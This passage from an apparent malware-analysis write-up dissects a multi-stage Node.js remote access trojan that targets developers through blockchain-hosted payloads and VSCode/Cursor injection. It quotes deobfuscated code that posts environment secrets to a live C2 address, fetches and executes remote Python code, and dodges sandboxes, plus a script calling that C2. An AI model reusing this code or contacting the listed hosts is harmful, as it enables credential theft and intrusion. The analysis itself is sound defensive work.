Buffer \u2192 UTF8 \u2192 Reversed \u2192 XOR\n\n### Anti-Debugging:\n\n1. **State checks:** `if(_$af813180== 1){return}`, `if(_$af813180=== 0){return}`\n2. **Error suppression:** All operations in try-catch blocks that silently fail\n3. **Async operations:** Makes step-through debugging difficult\n4. **Multiple fallbacks:** Must trace all execution paths\n5. **Dynamic eval():** Code only reveals at runtime\n6. **No error messages:** Errors caught and suppressed\n\n### Stealth:\n\n* Only uses Node.js built-ins (no dependencies)\n* Legitimate-looking blockchain API traffic\n* No spawn/detached process (simpler than first sample)\n* Minimal footprint\n\n## Key Difference:\n\n**This variant has 1 payload (eval only), previous had 2 payloads (eval + spawn detached).**\n\n## Retrieval\n\nWe have a script in the GitHub repository to fetch this, from our logs this is what is shown:\n\n```\nTRON address: TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe\nAptos address: 0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837\nXOR key: cA]2!+37v,-szeU}\n\n[PRIMARY] Attempting BSC primary node...\nRPC call to host: bsc-dataseed.binance.org method: eth_getTransactionByHash params: [\n  '0xa8cdabea3616a6d43e0893322112f9dca05b7d2f88fd1b7370c33c79076216ff'\n]\n\u2713 BSC primary succeeded\n```\n\n# Payload1\\_2 (HTTP Payload Stager)\n\nSHA256: `ce47fef68059f569d00dd6a56a61aa9b2986bee1899d3f4d6cc7877b66afc2a6`\n\n## Obfuscation\n\nThe obfuscation was identical to Payload1 and Payload1\\_1 so we will skip over the steps for this. The deobfuscation scripts are in the GitHub Repository.\n\n## Payload Analysis - Stage 2 Malware\n\nThis is one of the **decrypted payloads** from the previous stage. It performs C2 communication and additional payload retrieval.\n\n## Key Components\n\n### Decoded String (\\_$\\_145a):\n\nThe shuffled string decodes to a **hardcoded C2 server location:**\n\n```\nhttp://23.27.20.143:27017/$/boot\n```\n\n**XOR decryption key:** `ThZG+0jfXE6VAGOJ` (16 characters)\n\n### C2 Communication Flow:\n\n**1. Sets Global Variable:**\n\n```\n_global['_H'] = \"http://23.27.20.143:27017\"\n```\n\nStores the C2 server address globally\n\n**2. HTTP Request to C2:**\n\n* **URL:** `http://23.27.20.143:27017/$/boot`\n* **Method:** GET\n* **User-Agent Spoofing:**\n\n```\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36\n```\n\nDisguises as legitimate Chrome browser on Windows 10\n\n* **Custom Header:** `Sec-V: [value]` - sends the `_V` global variable (likely infection counter or version tracking)\n\n**3. Payload Processing:**\n\n* Receives response from C2 server\n* **XOR decrypts** response using key `ThZG+0jfXE6VAGOJ`\n* **Immediately executes** decrypted payload via `eval()`\n\n## Obfuscation Techniques\n\n### 1. String Shuffling (\\_$af1013):\n\n* Complex permutation algorithm that scrambles strings\n* Uses mathematical operations: `f * (a + 515) + (f % 46709)` with modulo operations\n* Multiple character replacements with delimiter swapping\n\n### 2. Variable Name Obfuscation:\n\n* Functions: `a0a()`, `a0b()`, `a0n()`\n* Intentionally confusing naming to hinder analysis\n\n### 3. Offset-based String Access:\n\n```\na0n(0x10b) + a0n(0xef) + '43' + ':' + 0x6989  // Builds \"http://23.27.20.143:27017\"\n```\n\nString fragments stored in array, accessed by hex offsets (0x6989 = 27017 in decimal)\n\n### 4. Dead Code Pattern:\n\n```\nif (_$af1004 == true) { return }  // Never executes\nif (_$af1004 == 1) { _$af1004(0) }  // Confusing logic\n```\n\n## Anti-Debugging Methods\n\n### 1. Control Flow Obfuscation (\\_$af1003):\n\n```\nconst d = parseInt(m(0x103)) / 0x1 * (-parseInt(m(0xff)) / 0x2) +\n          -parseInt(m(0x109)) / 0x3 * (-parseInt(m(0xf0)) / 0x4) + ...\nif (d === b) { break } else { c['push'](c['shift']()) }\n```\n\n* Performs complex calculations to validate execution\n* Array rotation based on calculation results\n* If debugger modifies values, execution path changes\n\n### 2. State Checks:\n\n```\nif (!_$_145a) { _$af1013 = false }\nif (!_$af1013) { _$af1004 = 1 }\nif (!_$_145a) { _$af1003 = null; return }\n```\n\n* Multiple interdependent variable checks\n* Tampering with one variable breaks execution chain\n\n### 3. Try-Catch Loops:\n\n```\nwhile (!![]) {\n    try { /* complex logic */ }\n    catch (e) { c['push'](c['shift']()) }\n}\n```\n\n* Infinite loop with exception handling\n* Makes breakpoint debugging difficult\n\n### 4. Silent Failure:\n\nThroughout the code, errors are caught and suppressed - stack traces or error messages are unavailable for analysis. For example, **Decryption Failures - Returns empty on error:**\n\n```\ndef _decrypt(B,value,encrypted_value):\n    # ... decryption logic ...\n    try:\n        H=G.decrypt_and_verify(A[12:-16],E)\n    except Ak:raise V(A7)  # Ak is ValueError\n    return H.decode(encoding=f,errors=m)\n```\n\nThe `errors=m` (where `m='ignore'`) silently drops characters that can't be decoded.\n\n## Stealth & Evasion\n\n1. **User-Agent Spoofing:** Mimics legitimate Chrome browser in Windows 10\n2. **HTTP (not HTTPS):** Avoids certificate inspection/pinning\n3. **Generic endpoint:** `/$/boot` - appears as legitimate web traffic\n4. **Custom tracking header:** `Sec-V` - likely tracks infection state across requests\n5. **Async execution:** Harder to trace in real-time\n6. **Port 27017:** Default MongoDB port - may blend in with regular database traffic\n\n## Fetching the Next Stage\n\nThis would be straight forward as we would just replicate the code without `exec` actually running the next payload, we do this via the following Python script.\n\n**Note: Do not run this!!!!!**\n\n```\nimport requests\n\n# Fetch the payload\nurl = \"http://23.27.20.143:27017/$/boot\"\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36\",\n    \"Sec-V\": \"0\"\n}\n\ntry:\n    response = requests.get(url, headers=headers, timeout=10)\n    print(f\"Status: {response.status_code}\")\n    print(f\"Content-Length: {len(response.content)}\")\n\n    # Save obfuscated payload\n    with open(\"obfuscated_payload.bin\", \"wb\") as f:\n        f.write(response.content)\n\n    # XOR decrypt with the key\n    key = \"ThZG+0jfXE6VAGOJ\"\n    decrypted = \"\"\n\n    for i, byte in enumerate(response.content):\n        key_char = ord(key[i % len(key)])\n        decrypted += chr(byte ^ key_char)\n\n    with open(\"decrypted_payload.js\", \"w\") as f:\n        f.write(decrypted)\n\n    print(\"First 200 chars of decrypted:\")\n    print(repr(decrypted[:200]))\n\nexcept Exception as e:\n    print(f\"Error: {e}\")\n```\n\nNote that Sec-V is likely the flag for the repository (Store-V), and the value 0 is the attack vector, which in our case is IT Worker Social Engineering to Private Repository. This then fetches the next stage of the Payload1\\_2\\_1.\n\n## 302 Response (Easter Egg)\n\nIf unsuccessful with your fetch for not putting in the right parameters, your HTTP response will be 'completely sent off' and you will be HTTP 302 redirected to a page downloading some kind of file `gist_crtp_constructors`.\n\n```\n* Request completely sent off\n< HTTP/1.1 302 Found\n< Access-Control-Allow-Origin: *\n< Expires: Sat, 26 Jul 1997 05:00:00 GMT\n< Last-Modified: Fri, 26 Sep 2025 17:03:36 GMT\n< Cache-Control: no-store, no-cache, must-revalidate\n< Pragma: no-cache\n< Location: https://github.com/duanegoodner/xiangqigame/raw/refs/heads/main/prototypes/crtp_constructors/gist_crtp_constructors\n< Content-Type: application/octet-stream\n< Server: EmbedIO/3.5.2\n< Date: Fri, 26 Sep 2025 17:03:36 GMT\n< Content-Length: 0\n< Connection: keep-alive\n< Keep-Alive: timeout=15,max=100\n```\n\nThe URL in question downloads this file directly: https://github.com/duanegoodner/xiangqigame/raw/refs/heads/main/prototypes/crtp\\_constructors/gist\\_crtp\\_constructors\n\nThis is a C++ compiled ELF binary. The peculiar aspect of this discovery was that it didn't align with our investigation's progression and appeared to be a possible red herring in the Reverse Engineering process. We initially believed this redirect was deliberately placed and represented the final component of the puzzle. However, upon reviewing our workflow, we determined this was not the case.\n\nThe repository itself is a C++ AI engine for Chinese Chess, wrapped in Python manager and CLI:\n\nhttps://github.com/duanegoodner/xiangqigame/tree/refs/heads/main\n\nThis doesn't appear to be a real individual either:\n\nhttps://github.com/duanegoodner\n\nThere is also an email address and LinkedIn Profile:\n\nhttps://www.linkedin.com/in/duane-goodner/\n\n# Payload1\\_1\\_1 (Cross-Platform NodeJS Remote Access Trojan)\n\nSHA256: `eefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30`\n\nWe now have the next stage of the payload, which is a larger obfuscated JS code piece.\n\nWhat is more disturbing is that commercial malware sandboxes had no detections on this enormous payload:\n\nhttps://www.virustotal.com/gui/file/eefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30/details\n\n## Deobfuscation\n\nThe previous payload was the Cross-Chain TxDataHiding and now we have a payload with ~2500 lines of highly obfuscated JS code. Manual deobfuscation of this is near impossible and whilst numerous attempts of debugging and disassembling were attempted, clearly some kind of third-party obfuscator was used for this, otherwise this would be too labour intensive to craft. Debugging this the large array at the end of the code checks for all types of debuggers and disassemblers which we will discuss shortly. Looking around online, we stumbled across Obfuscator.io Deobfuscator. Running this against our code allowed us to see the next stage of the code.\n\n## Payload Analysis - Stage 3 RAT (Remote Access Trojan)\n\n**Code Size:** Approximately **530 lines** of obfuscated JavaScript\n\n**Platform Support:** Cross-platform - runs on **any operating system with Node.js/JavaScript runtime installed** (Windows, macOS, Linux, BSD, etc.)\n\nThis is the **final stage payload** - a full-featured Remote Access Trojan with persistent IDE injection capabilities.\n\n## Remote Access Capabilities\n\n### Custom Commands (ss\\_ prefix):\n\n1. **Any shell command** - Full remote shell RCE (Remote Code Execution) - executes native OS commands via `child_process.exec`\n2. **`[command]`** - Detached process execution (runs independently, hidden)\n3. **`ss_eval:[code]`** - Execute arbitrary JavaScript code\n4. **`ss_info`** - System reconnaissance (OS, Node version, paths, timestamps)\n5. **`ss_ip`** - Geolocation via `http://ip-api.com/json`\n6. **`ss_upf:[file],[destination]`** - Upload single file via HTTP\n7. **`ss_upd:[dir],[destination]`** - Upload entire directory recursively\n8. **`ss_stop`** - Stop current upload operation\n9. **`cd [path]`** - Change directory\n10. **`ss_dir`** - Reset to startup directory\n11. **`ss_fcd:[path]`** - Force change directory\n12. **`ss_inz:[filepath]`** - Inject malware into specified file\n13. **`ss_inzx:[filepath]`** - Remove injection from file\n\n## Anti-Debugging & Anti-Disassembly Techniques\n\n### 1. Infinite Loop Anti-Debugger (Lines 1-10):\n\n```\nconst a0b = function () {\n  let a = true;\n  return function (b, c) {\n    const d = a ? function () {\n      if (c) {\n        const e = c.apply(b, arguments);\n        c = null;\n        return e;\n      }\n    } : function () {};\n    a = false;\n    return d;\n  };\n}();\n```\n\n**Purpose:** Self-modifying execution wrapper that only runs once. Detects tampering if called multiple times (common debugger behavior).\n\n### 2. Catastrophic Backtracking RegEx (Lines 11-13):\n\n```\nconst a0a = a0b(this, function () {\n  return a0a.toString().search(\"(((.+)+)+)+$\")\n         .toString().constructor(a0a).search(\"(((.+)+)+)+$\");\n});\na0a();\n```\n\n**Purpose:**\n\n* **Regex DoS Pattern:** `(((.+)+)+)+$` causes exponential backtracking\n* **Freezes Analysis Tools:** The catastrophic backtracking pattern `(((.+)+)+)+$` causes JavaScript deobfuscators, beautifiers, and static analysis tools to hang indefinitely when they attempt to evaluate or simplify the regex. Security researchers trying to reverse engineer the code will find their automated analysis tools freeze or crash, while the actual malware executes normally in victim browsers due to runtime optimizations and timeout protections. This anti-analysis technique acts as a roadblock, forcing manual code review and slowing down threat intelligence efforts.\n* **Anti-Analysis Trap:** Executes a catastrophic backtracking regex pattern `(((.+)+)+)+$` against the function's source code that causes JavaScript deobfuscators, beautifiers, and static analysis tools to freeze indefinitely when they attempt to process it. The code doesn't actually check or compare anything\u2014it's purely designed to crash automated reverse engineering tools while executing harmlessly in victim browsers.\n* **Constructor Chaining:** Checks runtime integrity\n\n**Referenced Throughout:** This pattern appears at the very start (lines 1-13) as a gatekeeper before any malicious activity begins.\n\n### 3. Base64 + XOR Multi-Layer Obfuscation (Lines 100-103):\n\n```\nconst G = function (H) {\n  const J = \"4#uLeVM[3lESLGA\".length;  // XOR key\n  let K = '';\n  for (let L = 0x0; L < H.length; L++) {\n    const M = H.charCodeAt(L);\n    const N = \"4#uLeVM[3lESLGA\".charCodeAt(L % J);\n    K += global.String.fromCharCode(M ^ N);\n  }\n  return K;\n}(atob(\"HEUAIgYiJDRdRGwoOiYz...\")); // Massive base64 blob\n\n// Then injected into VSCode:\nd.inz = \"global['_V']='\" + e + \"';global['r']=require;global['m']=module;\" + G;\n```\n\n**Purpose:**\n\n* Base64 encoding \u2192 XOR decryption with key `4#uLeVM[3lESLGA`\n* **Contains the entire Payload1\\_1 code** (~150 lines of Cross-Chain TxDataHiding downloader)\n* Payload is only revealed at runtime (defeats static analysis)\n* Multiple kilobytes of encoded malicious code, which allows the attacker to embed a complete persistence payload into the developer's IDE that automatically re-executes on every launch while evading antivirus detection through runtime-only decryption.\n* **This Stage 2 code gets injected into VSCode** for persistence (lines 50-75)\n* When VSCode launches, Stage 2 downloads a fresh Stage 3 from C2\n\n**What's Inside the atob():**\n\n```\n// Decrypted content (Stage 2):\n_$_9bbf=(_$af813180)(\"%5elgrxif1orpnrbF4ruYp%ertm8ac%...\", 438651);\n(async ()=>{\n  // Blockchain fetch from Tron/Aptos/BSC\n  // XOR key: 'cA]2!+37v,-szeU}'\n  // Downloads Stage 3 from blockchain\n  // Executes Stage 3 (this 530-line RAT)\n})()\n```\n\n**Persistence Mechanism:**\n\n1. RAT decrypts atob() to get Payload1\\_1, allowing for a newer refined version of the code should the initial RAT fail for any reason\n2. RAT injects Payload1\\_1 into VSCode files\n3. VSCode executes Payload1\\_1 on every launch\n4. Payload1\\_1 downloads fresh TxData hidden in BSC from blockchain/C2\n   1. Particularly useful if the code requires optimisation if it's not working properly\n5. Loop continues indefinitely\n\nThis creates a **self-perpetuating infection cycle** where the lightweight Stage 2 remains persistent in VSCode while the full-featured Stage 3 RAT is downloaded fresh on each execution.\n\nNote: the payloads frequently changed the transaction data and ultimately the deobfuscated code, likely for performance and compatibility reasons as well as enhancing further anti-reversing techniques. Below you can see the two payloads from the same XCTDH fetch one week apart:\n\n### 4. Variable Name Obfuscation:\n\nFunctions named `a0a`, `a0b`, `a0n` with hex offset-based string access makes reverse engineering extremely difficult.\n\n### 5. Anti-Tampering Checks (Throughout):\n\nThere are multiple conditional checks, such as:\n\n```\nif (!d.inz) { return false; }\nif (global.process.env.jsbot) { return; }\n```\n\nDetects sandbox/analysis environments by checking for specific variables.\n\n## Primary Functions\n\n### 1. IDE Persistence via Code Injection\n\nTargets developer tools to maintain persistence:\n\n**VSCode Injection:**\n\n* **Windows:** `%LOCALAPPDATA%\\Programs\\Microsoft VS Code\\resources\\app\\node_modules\\@vscode\\deviceid\\dist\\index.js`\n* **macOS:** `/Applications/Visual Studio Code.app/Contents/Resources/app/node_modules/@vscode/deviceid/dist/index.js`\n* **Linux:** `/usr/share/code/resources/app/node_modules/@vscode/deviceid/dist/index.js`\n\n**Cursor IDE Injection:**\n\n* **Windows:** `%LOCALAPPDATA%\\Programs\\cursor\\resources\\app\\node_modules\\@vscode\\deviceid\\dist\\index.js`\n* **macOS:** `/Applications/Cursor.app/Contents/Resources/app/node_modules/@vscode/deviceid/dist/index.js`\n* **Linux:** `/usr/share/cursor/resources/app/node_modules/@vscode/deviceid/dist/index.js`\n\n### How VSCode Injection Works:\n\n**Target File:** The `@vscode/deviceid` module - a legitimate VSCode component used for device identification. This is executed early in VSCode's startup process.\n\n**Injection Process (Lines 50-75):**\n\n1. Checks if the file exists and is writable\n2. Reads the current file's contents\n3. Looks for injection marker `/*C250617A*/`\n4. If it's already injected with the same version, the process skips injecting malicious code if the target already contains the same version of the injection (identified by the marker in step 3) to avoid duplication\n5. If a different version or if it's not injected, the process appends malicious code with 200 spaces padding for obfuscation\n6. Injects this code block:\n\n```\n/*C250617A*/\nglobal['e']='vscode-eval';\nglobal['_V']='[version]';\nglobal['r']=require;\nglobal['m']=module;\n[entire base64-decoded RAT payload]\n```\n\n**Why This Is Devastating:**\n\n* **Automatic Execution:** Runs every time the developer opens VSCode/Cursor\n* **Early Startup:** Executes before any user code loads\n* **Legitimate Path:** Modifies official VSCode files, bypasses most antivirus\n* **Developer Trust:** Developers trust their IDE completely\n* **Code Contamination Risk:** An attacker can modify any project the developer works on\n* **Supply Chain Attack:** Infected developers may commit malware into production repositories\n* **Universal Compatibility:** Since it's pure JavaScript, it works on **any OS where Node.js runs** - no platform-specific binaries needed\n\n## Cross-Platform Architecture\n\n### OS Detection & Adaptation (Lines 20-30):\n\n```\nconst l = g.platform();              // Detects OS\nconst m = l.startsWith(\"win\");       // Windows check\nif (l === \"darwin\") { /* macOS */ }\nelse { /* Linux/Unix */ }\n```\n\n**Platform-Specific Behavior:**\n\n* **Windows:** Uses `%LOCALAPPDATA%`, adds Python paths, `windowsHide: true`\n* **macOS:** Uses `/Applications/`, checks file permissions\n* **Linux:** Uses `/usr/share/`, standard Unix paths\n* **All Others:** Falls back to generic Unix-style paths\n\n**Why JavaScript Makes This Dangerous:**\n\n* **No Compilation:** Same payload works everywhere without modification\n* **Ubiquitous Runtime:** Node.js is installed on virtually all developer machines\n* **Native APIs:** Full access to file system, network, and process execution via Node.js APIs\n* **Package Ecosystem:** Can dynamically install dependencies (`axios`, `socket.io-client`) via NPM\n* **Interpreted Language:** Harder to detect than compiled malware and easier to obfuscate\n\n## C2 Infrastructure\n\n### Multi-Server Setup Based on \\_V Variable (Lines 250-260):\n\n```\nif (e[0] == 'A') { K = \"136.0.9.8\"; }          // Version A\nelse if (e[0] == 'C') { K = \"23.27.202.27\"; }  // Version C\nelse if (!isNaN(parseInt(e))) { K = \"166.88.4.2\"; }  // Numeric versions\nelse { K = \"23.27.202.27\"; }                    // Default\n```\n\n**C2 Endpoints:**\n\n* **Command Socket:** `http://[server]:443` (WebSocket via socket.io)\n* **HTTP API:** `http://[server]:27017`\n  + `/verify-human/[version]` - Logging/telemetry\n  + `/u/f` - File upload endpoint\n\n## VM Detection & Network Bypass\n\n### Network Persistence Mechanisms (Lines 280-290):\n\n**1. Socket.io Auto-Reconnect:**\n\n```\nreconnectionDelay: 5000  // 5 second retry\n```\n\n* Continuously attempts re-connection\n* Survives temporary network drops\n* Works across VM suspend/resume cycles\n\n**2. Multiple C2 Servers:**\n\n* If one server is blocked, an attacker can update the `_V` variable to redirect to different infrastructure\n* 3+ different IP addresses configured\n\n**3. IDE Persistence:**\n\n* Even if VM network is disabled/closed, the infection remains in VSCode\n* When VM restarts with network, malware reactivates automatically\n* Survives VM snapshots and rollbacks if IDE files are on persistent disk\n* **Works on any VM with JavaScript/Node.js** - VMware, VirtualBox, Hyper-V, KVM, Docker containers, WSL, etc.\n\n**Limitations:**\n\n* **Air-gapped VMs:** Cannot connect if there's no network access\n* **Strict egress filtering:** Requires outbound HTTP/HTTPS on ports 443 and 27017\n* **VM with read-only IDE installation:** Cannot inject if the VSCode directory is immutable\n\n**However:**\n\n* Most development VMs have full internet access (required for package downloads)\n* Ports 443 and 27017 are commonly allowed (HTTPS and MongoDB)\n* Developers typically run VMs with persistent file systems\n* VM suspend/resume doesn't clear the infection\n* **JavaScript cross-platform nature** means same infection works across Windows VMs, Linux VMs, macOS VMs, containers, etc.\n\n## DEV#POPPER.js RAT Summary\n\nThis **530-line, cross-platform RAT with advanced anti-debugging capabilities** is designed to:\n\n* **Evade analysis** through catastrophic regex patterns (lines 1-13), self-modifying code, and multi-layer encryption\n* **Defeat disassembly** with runtime-only payload decryption and obfuscated control flow\n* Infect developer IDEs (VSCode/Cursor) for persistent access **on any OS**\n* Provide **full RCE (Remote Code Execution)** via native shell commands\n* Survive VM restarts and network interruptions via IDE injection\n* Maintain stealth through legitimate file modification\n* Auto-reconnect to multiple C2 servers\n* Target software developers to compromise codebases\n* **Work universally on Windows, macOS, Linux, BSD, and any OS with Node.js** - no recompilation or platform-specific variants needed\n\n**Critical Risk:** The combination of VSCode injection, JavaScript's cross-platform nature, and sophisticated anti-debugging techniques makes this particularly dangerous. The regex-based anti-disassembly (lines 11-13) actively prevents security researchers from analysing the code, while the XOR-encrypted payload (line 100+) ensures static analysis tools cannot detect the malicious behavior without executing the code. A developer infected on Windows could spread the malware to Linux production servers simply by opening VSCode.\n\n# Payload1\\_2\\_1 (InfoStealer Stager)\n\nSHA256: `8c0233a07662934977d1c5c29b930f4acd57a39200162cbd7d2f2a201601e201`\n\nWe now have the payload from the HTTP request via `http://23.27.20.143:27017/$/boot`.\n\n## Deobfuscation\n\nThe previous payload was the Cross-Chain TxDataHiding and now we have a payload with ~2500 lines of highly obfuscated JS code. Similar to Payload 1\\_1\\_1, we used Obfuscator.io Deobfuscator, running this against our code allowed us to see the next stage of the code.\n\n## Stage 3 Payload Analysis - Python Dropper & Stage 4 Fetcher\n\n**File Size:** Approximately **430 lines** of JavaScript\n\n**Designation:** Stage 3 (Payload1\\_2\\_1) - Fetches Stage 4 (Payload1\\_2\\_1\\_1) InfoStealer and Persistence Mechanism\n\n### 1. Embedded Alternative RAT Fetcher (Lines 100-120)\n\n```\nconst O = function (P) {\n  const R = \"4#uLeVM[3lESLGA\".length;  // XOR key\n  let S = '';\n  for (let T = 0x0; T < P.length; T++) {\n    const U = P.charCodeAt(T);\n    const V = \"4#uLeVM[3lESLGA\".charCodeAt(T % R);\n    S += global.String.fromCharCode(U ^ V);\n  }\n  return S;\n}(atob(\"HEUAIgYiJDRdRGwoOiYzFEsbOlhxandZDghueXJ0GRZBeF4wODVQGCw8ImcAe1VdJ0wtOzpBTC...\"));\n```\n\n**What this atob() contains:**\n\n* **Payload 1\\_1**: The blockchain-based RAT fetcher (same as Stage 1)\n* XOR Key: `'4#uLeVM[3lESLGA'`\n* Fetches from: Tron \u2192 Aptos \u2192 BSC blockchain\n* Downloads: **530-line RAT (Payload 1\\_1\\_1)** with full capabilities\n* **Purpose:** Fallback persistence mechanism if HTTP C2 (Stage 2) fails\n\n### 2. Dual Persistence Strategy (Lines 125-135)\n\n```\n// Method 1: Detached background process\nv.spawn(\"node\", ['-e',\n  \"global['_V']='\" + p + \"';\" +\n  \"global['r']=require;\" +\n  \"global['m']=module;\" + O  // Payload 1_1 (blockchain RAT fetcher)\n], {\n  'detached': true,\n  'stdio': \"ignore\",\n  'windowsHide': true\n}).on(\"error\", function (P) {});\n\n// Method 2: Direct eval in current process\neval(\"global['e']='boot-eval';\" + O);\n```\n\n**Strategy:**\n\n* Spawns **Payload 1\\_1** (blockchain RAT fetcher) as detached hidden process\n* Also executes Payload 1\\_1 via `eval()` in current process\n* **Ensures RAT remains accessible even if HTTP C2 is blocked**\n* Creates redundant infection vectors (blockchain + HTTP)\n\n## Persistence Architecture Clarification\n\n### Multi-Layer Persistence:\n\n```\nStage 3 (Payload 1_2_1) creates TWO parallel persistence mechanisms:\n\n1. HTTP-Based Path (Primary):\n   \u2514\u2500> Stage 4 Python Dropper (Lines 260-285)\n       \u2514\u2500> Fetches Stage 4 from http://[C2]:27017/$/z1\n       \u2514\u2500> XOR Key: '9KyASt+7D0mjPHFY'\n\n2. Blockchain-Based Path (Fallback):\n   \u2514\u2500> Payload 1_1 in atob() (Lines 100-120)\n       \u2514\u2500> Fetches Tron/Aptos/BSC\n       \u2514\u2500> XOR Key: '4#uLeVM[3lESLGA'\n       \u2514\u2500> Downloads 530-line RAT (Payload 1_1_1)\n       \u2514\u2500> RAT can re-inject Stage 2 into VSCode\n```\n\n### Why This Design? Redundancy & Resilience:\n\n**If HTTP C2 is blocked/down:**\n\n* \u2705 Blockchain path still active (nearly impossible to block)\n* \u2705 Payload 1\\_1 fetches RAT from Tron/Aptos/BSC\n* \u2705 RAT re-establishes full control\n\n**If blockchain is blocked (extremely rare):**\n\n* \u2705 HTTP C2 path still active\n* \u2705 Stage 4 Python dropper continues operating\n\n**If both are blocked:**\n\n* \u2705 Stage 2 remains in VSCode\n* \u2705 Next VSCode launch retries both paths\n* \u2705 Infection persists indefinitely\n\n### 3. Environment Variable Exfiltration (Lines 140-165)\n\n```\nconst Q = global.process.env;\nconst R = Object.keys(Q).sort().reduce((W, X) => {\n  if (![\"pm_uptime\", \"created_at\", \"restart_time\", /* ... */].includes(X)) {\n    W[X] = Q[X];  // Collect all env vars\n  }\n  return W;\n}, {});\nconst S = JSON.stringify(R);\n\n// Exfiltrate to C2\nconst T = q + \"/snv\";  // q = global._H = \"http://[C2_IP]:27017\"\nconst U = {\n  id: x + '$' + y,  // hostname$username\n  user: y,\n  body: S  // All environment variables\n};\nawait J.post(T, U);\n```\n\n**Exfiltrates to:** `http://[C2_IP]:27017/snv`\n\n**Data Stolen:**\n\n* API keys (AWS\\_ACCESS\\_KEY\\_ID, GITHUB\\_TOKEN, etc.)\n* Database credentials\n* OAuth tokens\n* Service account credentials\n* Internal URLs and endpoints\n\n### 4. Cloud/Sandbox Detection & Evasion (Lines 170-250)\n\n**Anti-Analysis Mechanisms:**\n\n```\n// AWS Detection\nif ((y === \"ubuntu\" || y === \"runner\" || y === \"root\") &&\n    (z.includes(\"-aws\") || z.includes(\".amzn\") || z.includes(\".cm2\"))) {\n  K(x + '$' + y + \" / \" + A + \"\\nBlocked (AWS)\\n\", \"(Blocked)\");\n  return;\n}\n\n// Azure Detection\nif (y === \"runner\" && z.includes(\"-azure\") ||\n    y === \"codespace\" && z.includes(\"-azure\")) {\n  K(x + '$' + y + \" / \" + A + \"\\nBlocked (Azure)\\n\", \"(Blocked)\");\n  return;\n}\n\n// GCP Detection (detects via K_SERVICE env var)\nif (x === \"localhost\" && y === \"root\" && global.process.env.K_SERVICE) {\n  K(x + '$' + y + \" / \" + A + \"\\nBlocked (GCP)\\n\", \"(Blocked)\");\n  return;\n}\n\n// Vercel Detection (detects via VERCEL_HIVE_VERSION env var)\nif (x.startsWith(\"192.168.\") && y === \"root\" &&\n    global.process.env.VERCEL_HIVE_VERSION) {\n  K(x + '$' + y + \" / \" + A + \"\\nBlocked (Vercel)\\n\", \"(Blocked)\");\n  return;\n}\n\n// Kali Linux (security research VM)\nif (x === \"kali\" && (y === \"root\" || y === \"kali\" || y === \"shellchocolat\")) {\n  K(x + '$' + y + \" / \" + A + \"\\nBlocked\\n\", \"(Blocked)\");\n  return;\n}\n\n// Generic sandbox patterns (UUID hostnames, hex patterns)\nif (/^[0-9a-f]{12}$/.test(x) && (y === \"root\" || y === \"node\") ||\n    /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/.test(x)) {\n  K(x + '$' + y + \" / \" + A + \"\\nBlocked\\n\", \"(Blocked)\");\n  return;\n}\n\n// Test environment\nif (x === \"EV-CHQG3L42MMQ\") {\n  K(x + '$' + y + \" / \" + A + \"\\nBlocked (Test)\\n\", \"(Test-Blocked)\");\n  return;\n}\n```\n\n**Blocks execution on:**\n\n* \u2705 AWS EC2 (detects via kernel and usernames)\n* \u2705 Azure VMs (detects via kernel signatures)\n* \u2705 Google Cloud Platform (K\\_SERVICE env var)\n* \u2705 Vercel (VERCEL\\_HIVE\\_VERSION env var)\n* \u2705 Amplify CI/CD\n* \u2705 GitHub Actions runners\n* \u2705 Docker containers (UUID/hex hostname patterns)\n* \u2705 Kali Linux (security research OS)\n* \u2705 CI/CD build environments\n* \u2705 Specific test machines\n\n**Purpose:** Avoid detection by cloud providers, security researchers, and sandboxes\n\n### 5. Stage 4 Python Dropper (Lines 260-285)\n\n**Python Payload Template - Downloads Stage 4:**\n\n```\ncode = \"\"\"\nimport sys,base64\nfrom urllib.request import Request,urlopen;\n\ndef x(a,b):  # XOR decryption function\n    kn=len(b);c=bytearray(len(a))\n    for i in range(len(a)):c[i]=a[i]^ord(b[i%kn])\n    return c\n\nif __name__=='__main__':\n    id=sys.argv[1]  # 'z1' = Stage 4 identifier\n    sys._v1=sys.argv[2] if len(sys.argv)>2 else ''\n    sys._v2=sys.argv[3] if len(sys.argv)>3 else None\n\n    try:\n        # Download Stage 4 from C2\n        exec(x(\n            base64.b64decode(\n                urlopen(Request(\n                    f'{C2_URL}/$/{id}',  # http://[C2]:27017/$/z1\n                    headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...'}\n                )).read().decode('utf-8')\n            ),\n            '9KyASt+7D0mjPHFY'  # XOR key for Python payloads\n        ).decode('utf-8'), globals())\n    except Exception as ex:\n        print(ex)\n\"\"\"\n\n# Launcher wrapper\nimport os,sys,subprocess\nsubprocess.Popen([sys.executable, '-c', code, 'z1', _v1, _v2],\n                 creationflags=flags,\n                 preexec_fn=os.setsid)\n```\n\n**Stage 4 Download Details:**\n\n* **URL:** `http://[C2_IP]:27017/$/z1`\n* **XOR Key:** `'9KyASt+7D0mjPHFY'`\n* **Encoding:** Base64 \u2192 XOR decrypt \u2192 Python code\n* **Execution:** Detached, hidden process\n* **Purpose:** Fetches and executes Stage 4 (Payload 1\\_2\\_1\\_1)\n\n**Important Note: Secondary Payload Disabled**\n\nThe code shows a **commented-out second payload** (`zz2`):\n\n```\n# subprocess.Popen([sys.executable, '-c', code, 'zz2', _v1],\n#                  creationflags=flags,\n#                  preexec_fn=os.setsid)\n```\n\n**Implications:**\n\n* Originally designed to fetch **two Python payloads** simultaneously\n* `z1` = Active (Stage 4 InfoStealer)\n* `zz2` = **Disabled/Commented Out** (unknown purpose)\n* Attackers may have disabled `zz2` temporarily or permanently\n* Could be re-enabled in future malware updates\n* Suggests a modular payload system where attackers can enable/disable components\n\n**Potential reasons for disabling zz2:**\n\n* \u2705 Still in development\n* \u2705 Some form of destructive malware that causes too much detection/noise\n* \u2705 Reserved for high-value targets only\n* \u2705 Replaced by blockchain fallback mechanism\n* \u2705 Part of A/B testing different infection 